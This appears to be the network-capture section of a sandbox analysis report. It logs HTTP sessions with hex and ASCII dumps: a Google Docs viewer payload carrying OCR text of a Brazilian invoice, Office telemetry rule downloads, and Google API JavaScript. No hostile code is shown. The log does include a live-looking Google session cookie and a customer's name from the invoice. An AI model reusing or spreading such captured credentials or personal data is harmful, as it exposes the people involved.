2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 5d 2c 5b 5b 5b 34 39 35 2c 34 34 2c 39 2c 35 30 33 5d 2c 5b 5b 5b 34 39 35 2c 34 34 2c 39 2c 31 34 5d 2c 22 61 70 c3 b3 73 22 5d 2c 5b 5b 34 39 35 2c 35 37 2c 39 2c 36 5d 2c 22 6f 22 5d 2c 5b 5b 34 39 35 2c 36 31 2c 39 2c 33 30 5d 2c 22 76 65 6e 63 69 6d 65 6e 74 6f 22 5d 2c 5b 5b 34 39 35 2c 39 30 2c 39 2c 31 36 5d 2c 22 73 65 72 c3 a3 6f 22 5d 2c 5b 5b 34 39 35 2c 31 30 35 2c 39 2c 32 34 5d 2c 22 63 6f 62 72 61 64 6f 73 22 5d 2c 5b 5b 34 39 35 2c 31 32 38 2c 39 2c 32 35 5d 2c 22 65 6e 63 61 72 67 6f 73 22 5d 2c 5b 5b 34 39 35 2c 31 35 31 2c 39 2c 39 5d 2c 22 64 65 22 5d 2c 5b 5b 34 39 35 2c 31 35 39 2c 39 2c 31 30 5d 2c 22 32 25 22 5d 2c 5b 5b 34 39 35 2c 31 36 38 2c 39 2c 36 5d 2c 22 65 22 5d 2c 5b 5b 34 39 35 2c 31 37 32 2c 39 2c 31 35 5d 2c 22 6a 75 Data Ascii: ],[[[495,44,9,503],[[[495,44,9,14],"aps"],[[495,57,9,6],"o"],[[495,61,9,30],"vencimento"],[[495,90,9,16],"sero"],[[495,105,9,24],"cobrados"],[[495,128,9,25],"encargos"],[[495,151,9,9],"de"],[[495,159,9,10],"2%"],[[495,168,9,6],"e"],[[495,172,9,15],"ju
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 30 2c 31 34 36 5d 2c 5b 5b 5b 36 38 38 2c 33 38 36 2c 31 30 2c 33 33 5d 2c 22 56 65 6e 63 69 6d 65 6e 74 6f 22 5d 2c 5b 5b 36 38 38 2c 34 38 33 2c 31 30 2c 31 35 5d 2c 22 54 6f 74 61 6c 22 5d 2c 5b 5b 36 38 38 2c 34 39 37 2c 31 30 2c 36 5d 2c 22 61 22 5d 2c 5b 5b 36 38 38 2c 35 30 32 2c 31 30 2c 31 38 5d 2c 22 50 61 67 61 72 22 5d 2c 5b 5b 36 38 38 2c 35 31 39 2c 31 30 2c 34 5d 2c 22 2d 22 5d 2c 5b 5b 36 38 38 2c 35 32 33 2c 31 30 2c 39 5d 2c 22 52 24 22 5d 5d 5d 5d 5d 2c 5b 5b 36 39 38 2c 38 32 2c 31 30 2c 37 39 5d 2c 5b 5b 5b 36 39 38 2c 38 32 2c 31 30 2c 37 39 5d 2c 5b 5b 5b 36 39 38 2c 38 32 2c 31 30 2c 31 39 5d 2c 22 4c 55 49 5a 22 5d 2c 5b 5b 36 39 38 2c 31 30 30 2c 31 30 2c 32 38 5d 2c 22 53 4f 55 5a 41 22 5d 2c 5b 5b 36 39 38 2c 31 32 38 2c 31 30 Data Ascii: 0,146],[[[688,386,10,33],"Vencimento"],[[688,483,10,15],"Total"],[[688,497,10,6],"a"],[[688,502,10,18],"Pagar"],[[688,519,10,4],"-"],[[688,523,10,9],"R$"]]]]],[[698,82,10,79],[[[698,82,10,79],[[[698,82,10,19],"LUIZ"],[[698,100,10,28],"SOUZA"],[[698,128,10
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 30 31 30 30 30 30 22 5d 2c 5b 5b 37 33 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 31 31 30 31 30 31 30 30 31 31 31 31 30 30 31 30 31 31 30 31 30 31 31 31 31 31 30 30 31 31 31 30 30 31 31 31 31 30 31 31 30 30 31 31 30 30 31 30 30 30 31 30 30 31 30 30 30 30 30 30 30 22 5d 2c 5b 5b 37 33 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 30 30 31 30 31 30 31 30 30 31 31 30 31 31 31 31 31 31 30 30 31 30 30 31 30 30 30 30 30 30 31 31 30 30 31 30 31 31 30 31 31 30 30 31 30 30 31 31 30 31 30 30 30 31 31 30 30 30 30 30 30 22 5d 2c 5b 5b 37 33 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 30 31 31 30 31 30 30 31 31 31 30 31 31 30 31 30 31 31 30 31 31 30 30 30 31 30 30 31 31 30 31 31 31 30 30 31 30 31 30 31 31 31 30 31 31 31 30 31 31 Data Ascii: 010000"],[[739,452,76,101],"00001101010011110010110101111100111001111011001100100010010000000"],[[739,452,76,101],"00000010101001101111110010010000001100101101100100110100011000000"],[[739,452,76,101],"00000110100111011010110110001001101110010101110111011
2024-11-26 07:55:25 UTC	2188	IN	Data Raw: 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 30 31 30 30 30 31 31 30 30 30 30 30 31 30 31 31 30 30 31 30 30 30 31 31 30 30 30 31 31 31 30 31 31 30 31 30 30 30 31 30 31 30 31 30 31 30 30 30 30 30 30 30 31 30 31 30 30 30 30 30 30 22 5d 2c 5b 5b 37 33 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 31 30 31 30 31 30 30 31 31 31 31 30 31 30 31 31 30 30 30 31 30 31 31 30 31 31 30 30 31 31 31 31 30 31 30 31 30 30 31 31 30 30 30 30 31 30 31 30 31 30 31 30 31 30 31 31 30 30 30 30 30 22 5d 2c 5b 5b 37 33 39 2c 34 35 32 2c 37 36 2c 31 30 31 5d 2c 22 30 30 30 30 30 31 30 31 31 31 31 30 31 30 30 31 30 30 30 30 31 31 31 30 31 31 31 30 31 31 31 30 31 30 31 31 31 31 31 30 31 30 31 30 31 31 31 30 31 31 31 30 31 30 30 31 30 30 30 30 31 30 30 30 30 22 Data Ascii: 9,452,76,101],"00000100011000001011001000110001110110100010101010000000101000000"],[[739,452,76,101],"00001010100111101011000101101100111101010011000010101010101100000"],[[739,452,76,101],"00000101111010010000111011101110101111101010111011101001000010000"
2024-11-26 07:55:25 UTC	185	IN	Data Raw: 6f 76 2e 62 72 5c 75 30 30 32 36 73 61 5c 75 30 30 33 64 44 5c 75 30 30 32 36 73 6f 75 72 63 65 5c 75 30 30 33 64 61 70 70 73 2d 76 69 65 77 65 72 2d 66 72 6f 6e 74 65 6e 64 5c 75 30 30 32 36 75 73 74 5c 75 30 30 33 64 31 37 33 32 36 39 34 31 32 34 37 35 32 33 37 33 5c 75 30 30 32 36 75 73 67 5c 75 30 30 33 64 41 4f 76 56 61 77 31 65 67 71 51 47 71 6a 32 45 37 52 61 79 38 55 73 51 6d 37 4d 6a 22 2c 5b 34 39 35 2c 33 36 32 2c 39 2c 34 37 5d 2c 6e 75 6c 6c 2c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6e 61 74 65 6c 2e 67 6f 76 2e 62 72 22 5d 5d 5d 0d 0a Data Ascii: ov.br\u0026sa\u003dD\u0026source\u003dapps-viewer-frontend\u0026ust\u003d1732694124752373\u0026usg\u003dAOvVaw1egqQGqj2E7Ray8UsQm7Mj",[495,362,9,47],null,"http://www.anatel.gov.br"]]]
2024-11-26 07:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5cf18591-601e-000d-7e91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075524Z-174f7845968zgtf6hC1EWRqd8s0000000n4g000000003dcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:55:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075524Z-174f7845968ljs8phC1EWRe6en0000000v0000000000503c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:55:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49845	142.250.181.110	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:55:24 UTC	904	OUT	GET /js/googleapis.proxy.js?onload=startup HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=LTxhHc0PjQcTxZZLtqLXNQrHqxp_vpKVgRjh85-rjGusZDRkSvTDKa29Kfdz2o30Dx55adZtKIwiDesqrH6maiaQl63rjhzMqKFmBkrHmtWjiRMgKMd-w9fKPyYwk2DRGsvrVYmNsfCVdj6vpGAQEX3MCVc1ONeG0fUkAbEC0i38ISTvx8qS1sRLL8PuQxI
2024-11-26 07:55:25 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14486 Date: Tue, 26 Nov 2024 07:55:25 GMT Expires: Tue, 26 Nov 2024 07:55:25 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "6e4b2e0ff5146610" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:55:25 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 Data Ascii: on_prefix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescrolle
2024-11-26 07:55:25 UTC	1390	IN	Data Raw: 5f 69 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 Data Ascii: 